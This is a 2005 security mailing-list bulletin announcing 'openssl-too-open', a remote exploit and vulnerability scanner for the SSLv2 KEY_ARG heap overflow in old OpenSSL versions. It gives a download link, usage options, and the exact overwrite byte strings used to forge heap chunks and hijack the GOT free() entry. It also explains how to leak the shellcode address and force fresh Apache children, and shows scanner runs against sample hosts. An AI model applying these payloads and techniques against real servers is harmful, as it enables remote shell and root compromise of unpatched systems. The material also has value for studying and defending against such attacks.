[EXPL] Openssl-Too-Open: Apache / OpenSSL Remote Exploit
From: SecuriTeam (support_at_securiteam.com)
Date: 04/19/05
- Previous message: SecuriTeam: "[NEWS] Mozilla Suite and Firefox Firesearching Vulnerabilities"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: list@securiteam.com Date: 19 Apr 2005 11:23:28 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Openssl-Too-Open: Apache / OpenSSL Remote Exploit
------------------------------------------------------------------------
SUMMARY
openssl-too-open is a remote exploit for the KEY_ARG overflow in OpenSSL
0.9.6d and older. This vulnerability was exploited by the
<http://www.securiteam.com/unixfocus/5PP0B2A8AA.html> Slapper Worm.
DETAILS
The exploit was tested against most major Linux distributions. Gives a
remote nobody shell on Apache and remote root on other servers. Includes
an OpenSSL vulnerability scanner and a detailed vulnerability analysis.
Only Linux/x86 targets are supported.
Usage:
Usage: ./openssl-too-open [options]
-a target architecture (default is 0x00)
-p SSL port (default is 443)
-c open N apache connections before sending the shellcode (default is 30)
-m maximum number of open connections (default is 50)
-v verbose mode
Download Information:
The exploit can be downloaded from:
<http://www.phreedom.org/solar/exploits/apache-openssl/openssl-too-open.tar.gz> http://www.phreedom.org/solar/exploits/apache-openssl/openssl-too-open.tar.gz
Technical Details:
It is important to understand the SSL2 handshake in order to successfully
exploit the KEY_ARG vulnerability.
Client Server
CLIENT_HELLO -->
<-- SERVER_HELLO
CLIENT_MASTER_KEY -->
<-- SERVER_VERIFY
CLIENT_FINISHED -->
<-- SERVER_FINISHED
The CLIENT_HELLO message contains a list of the ciphers the client
supports, a session id and some challenge data. The session id is used if
the client wishes to reuse an already established session, otherwise it's
empty.
The server replies with a SERVER_HELLO message, also listing all supported
ciphers and includes a certificate with its public RSA key. The server
also sends a connection id, which will later be used by the client to
verify that the encryption works.
The client generates a random master key, encrypts it with the server's
public key and sends it with a CLIENT_MASTER_KEY message. This message
also specifies the cipher selected by the client and a KEY_ARG field,
which meaning depends on the specified cipher. For DES-CBC ciphers, the
KEY_ARG contains the initialization vector.
Now both the client and the server have the master key and they can
generate the session keys from it. All messages from this point on are
encrypted.
The server replies with a SERVER_VERIFY message, containing the challenge
data from the CLIENT_HELLO message. If the key exchange has been
successful, the client will be able to decrypt this message and the
challenge data returned from the server will match the challenge data sent
by the client.
The client sends a CLIENT_FINISHED message with a copy of the connection
id from the SERVER_HELLO packet. It is now the server's turn to decrypt
this message and check if the connection id returned by the client matches
the connection it sent by the server.
Finally the server sends a SERVER_FINISHED message, completing the
handshake. This message contains a session id, generated by the server. If
the client wishes to reuse the session later, it can send this session id
with the CLIENT_HELLO message.
The KEY_ARG Buffer Overflow
The bug is in ssl/s2_srvr.c, in the get_client_master_key() function. This
function reads a CLIENT_MASTER_KEY packet and processes it. It reads the
KEY_ARG_LENGTH value from the client and then copies that many bytes in an
array of a fixed size. This array is part of the SSL_SESSION structure. If
the client specifies a KEY_ARG longer than 8 bytes, the variables in the
SSL_SESSION structure can be overwritten with user supplied data.
Let's look at the definition of this structure.
typedef struct ssl_session_st
{
int ssl_version; /* what ssl version session info is
* being kept in here? */
/* only really used in SSLv2 */
unsigned int key_arg_length;
unsigned char key_arg[SSL_MAX_KEY_ARG_LENGTH];
int master_key_length;
unsigned char master_key[SSL_MAX_MASTER_KEY_LENGTH];
/* session_id - valid? */
unsigned int session_id_length;
unsigned char session_id[SSL_MAX_SSL_SESSION_ID_LENGTH];
/* this is used to determine whether the session is being reused in
* the appropriate context. It is up to the application to set this,
* via SSL_new */
unsigned int sid_ctx_length;
unsigned char sid_ctx[SSL_MAX_SID_CTX_LENGTH];
int not_resumable;
/* The cert is the certificate used to establish this connection */
struct sess_cert_st /* SESS_CERT */ *sess_cert;
/* This is the cert for the other end.
* On clients, it will be the same as sess_cert->peer_key->x509
* (the latter is not enough as sess_cert is not retained
* in the external representation of sessions, see ssl_asn1.c). */
X509 *peer;
/* when app_verify_callback accepts a session where the peer's
certificate
* is not ok, we must remember the error for session reuse: */
long verify_result; /* only for servers */
int references;
long timeout;
long time;
int compress_meth; /* Need to lookup the method */
SSL_CIPHER *cipher;
unsigned long cipher_id; /* when ASN.1 loaded, this
* needs to be used to load
* the 'cipher' structure */
STACK_OF(SSL_CIPHER) *ciphers; /* shared ciphers? */
CRYPTO_EX_DATA ex_data; /* application specific data */
/* These are used to make removal of session-ids more
* efficient and to implement a maximum cache size. */
struct ssl_session_st *prev,*next;
} SSL_SESSION;
It really looks better with VIM coloring. Anyway, we know the size of the
structure and it's allocated on the heap. The first thing that comes to
mind is to overwrite the next malloc chunk and then make the OpenSSL code
call free() on the SSL_SESSION structure.
After we send a CLIENT_MASTER_KEY message, we'll read a SERVER_VERIFY
packet from the server and then we'll respond with a CLIENT_FINISHED
message. The server uses this the contents of this message to verify that
the key exchange succeeded. If we return a wrong connection id, the server
will abort the connection and free the SSL_SESSION structure, which is
exactly what we want.
We'll overwrite the KEY_ARG array with 8 random bytes and the following
string:
unsigned char overwrite_next_chunk[] =
"AAAA" /* int master_key_length; */
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" /* unsigned char
master_key[SSL_MAX_MASTER_KEY_LENGTH]; */
"AAAA" /* unsigned int session_id_length; */
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" /* unsigned char
session_id[SSL_MAX_SSL_SESSION_ID_LENGTH]; */
"AAAA" /* unsigned int sid_ctx_length; */
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" /* unsigned char
sid_ctx[SSL_MAX_SID_CTX_LENGTH]; */
"AAAA" /* unsigned int sid_ctx_length; */
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" /* unsigned char
sid_ctx[SSL_MAX_SID_CTX_LENGTH]; */
"AAAA" /* int not_resumable; */
"\x00\x00\x00\x00" /* struct sess_cert_st *sess_cert; */
"\x00\x00\x00\x00" /* X509 *peer; */
"AAAA" /* long verify_result; */
"\x01\x00\x00\x00" /* int references; */
"AAAA" /* int timeout; */
"AAAA" /* int time */
"AAAA" /* int compress_meth; */
"\x00\x00\x00\x00" /* SSL_CIPHER *cipher; */
"AAAA" /* unsigned long cipher_id; */
"\x00\x00\x00\x00" /* STACK_OF(SSL_CIPHER) *ciphers; */
"\x00\x00\x00\x00\x00\x00\x00\x00" /* CRYPTO_EX_DATA ex_data; */
"AAAAAAAA" /* struct ssl_session_st *prev,*next; */
"\x00\x00\x00\x00" /* Size of previous chunk */
"\x11\x00\x00\x00" /* Size of chunk, in bytes */
"fdfd" /* Forward and back pointers */
"bkbk"
"\x10\x00\x00\x00" /* Size of previous chunk */
"\x10\x00\x00\x00" /* Size of chunk, PREV_INUSE is set */
The "A" bytes don't affect the OpenSSL control flow. The other bytes must
be set to specific values to make the exploit work. For example, the peer
and sess_cert pointers must be NULL, because the SSL cleanup code will
call free() on them before it frees the SSL_SESSION structure.
The free() call will write the value of the bk pointer to the memory
address in the fd pointer + 12 bytes. We'll put our shellcode address in
the bk pointer and we'll write it to the free() entry in the GOT table.
If you don't understand how freeing this malloc chunk overwrites the GOT
entry or don't know what the GOT table is, visit juliano's site and read
some papers.
Getting the Shellcode Address
There is only one little problem. We need a place to put our shellcode and
we need the exact shellcode address. The trick is to use the
SERVER_FINISHED message. This message includes the session id, which is
read from the SSL_SESSION structure. The server reads session_id_length
bytes from the session_id[] array and sends them to the client. We can
overwrite the session_id_length variable and complete the handshake. If
session_id_length is long enough, the SERVER_FINISHED message will include
the contents of the SSL_SESSION structure.
To get the contents of the session structure, we'll overwrite the KEY_ARG
array with 8 random bytes and the following string:
unsigned char overwrite_session_id_length[] =
"AAAA" /* int master_key_length; */
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" /* unsigned char
master_key[SSL_MAX_MASTER_KEY_LENGTH]; */
"\x70\x00\x00\x00"; /* unsigned int session_id_length; */
Now let's imagine the heap state when we send our connection request. We
have a heap, which contains some allocated chunks of memory and a large
'top' chunk, covering all free memory.
When the server receives the connection, it forks a child and the child
allocates the SSL_SESSION structure. If there has not been a signifficant
malloc/free activity, the fragmentation of the memory will be low and the
new chunk will be allocated from the beginning of the 'top' chunk.
The next allocated chunk is a 16 bytes chunk which holds a
STACK_OF(SSL_CIPHER) structure. This chunk is also allocated from the
beginning of the 'top' chunk, so it's located right above the SSL_SESSION
structure. The address of this chunk is stored in the session->ciphers
variable.
If we're lucky, the memory would look like this:
| top chunk |
|-----------|
session->ciphers | 16 bytes | <- STACK_OF(SSL_CIPHER) structure
points here -> |-----------|
| 368 bytes | <- SSL_SESSION structure
|-----------|
We can read the session->ciphers pointer from the SSL_SESSION structure in
the SERVER_FINISHED message. By subtracting 368 from it, we'll get the
address of the SSL_SESSION structure, and thus the address of the data
we've overwritten.
fork() Is Your Friend
We'll use the same buffer overflow to get the address of the shellcode and
to overwrite the malloc chunks. The problem is that we need to know the
shellcode address before we send it to the server.
The only solution is to send 2 requests. The first request overwrites
session_id_length and we complete the handshake to get the SERVER_FINISHED
message. Then we adjust our shellcode and open a second connection which
we use to send it.
If we're dealing with a forking server like Apache, the two children will
have an identical memory layout and malloc() will put the session
structure at the same address. Of course, life is never that simple.
Apache children can handle multiple requests, which would change the
memory allocation pattern of the two children we use.
To guarantee that both children are freshly spawned, our exploit will open
a number of connections to the server before sending the two important
requests. These connection should use up all available Apache children and
force new ones to be spawned.
If the server traffic is high, the exploit might fail. If the memory
allocation patterns are different, the exploit might fail. If you have a
wrong GOT address, the exploit will definitely fail.
openssl-scanner
Usage: ./openssl-scanner [options]
-i file with target hosts
-o output log
-a append to output log (requires -o)
-b check for big endian servers
-C scan the entire class C network the host belogs to
-d debug mode
-w N connection timeout in seconds
Examples: ./openssl-scanner -d 192.168.0.1
/openssl-scanner -i hosts -o my.log -w 5
$ ./openssl-scanner -C 192.168.0.0
: openssl-scanner : OpenSSL vulnerability scanner
by Solar Eclipse
Opening 255 connections . . . . . . . . . . done
Waiting for all connections to finish . . . . . . . . . . . done
192.168.0.136: Vulnerable
openssl-scanner overflows the master_key_length, master_key[] and
session_id_length variables in the SSL_SESSION structure. The first two
are uninitialized at this point, so overwriting them has no effect on
openssl. The first place where the session_id_length variable is used
after we overwrite it is in session_finish() (ssl/s2_srvr.c:847)
memcpy(p,s->session->session_id, (unsigned
int)s->session->session_id_length);
This data is returned in the SERVER_FINISHED packet. openssl-scanner
checks the length of the data. If it matches the value we set
session_id_length to, then the server is exploitable.
OpenSSL 0.9.6e and higher versions return
192.160.0.2: Server error: SSL2_PE_UNDEFINED_ERROR (0x00) after KEY_ARG
data was sent. Server is not vulnerable.
The updates that most vendors have put out backport the changes from
0.9.6e to 0.9.6b or some other version of OpenSSL. They don't return an
error like 0.9.6e. The updated RedHat and Debian packages) would close the
connection immediatelly after they receive the oversized KEY_ARG data,
causing openssl-scanner to report
192.168.0.1: Connection closed after KEY_ARG data was sent. Server is most
likely not vulnerable.
IIS servers exhibit the same behavior.
IIS servers that don't have a certificate set up close the connection as
soon as they receive the CLIENT_HELLO packet. openssl-scanner reports this
as
192.168.0.2: Connection unexpectedly closed
ADDITIONAL INFORMATION
To keep updated with the tool visit the project's homepage at:
<http://www.phreedom.org/solar/exploits/apache-openssl/>
http://www.phreedom.org/solar/exploits/apache-openssl/
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: SecuriTeam: "[NEWS] Mozilla Suite and Firefox Firesearching Vulnerabilities"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|
|
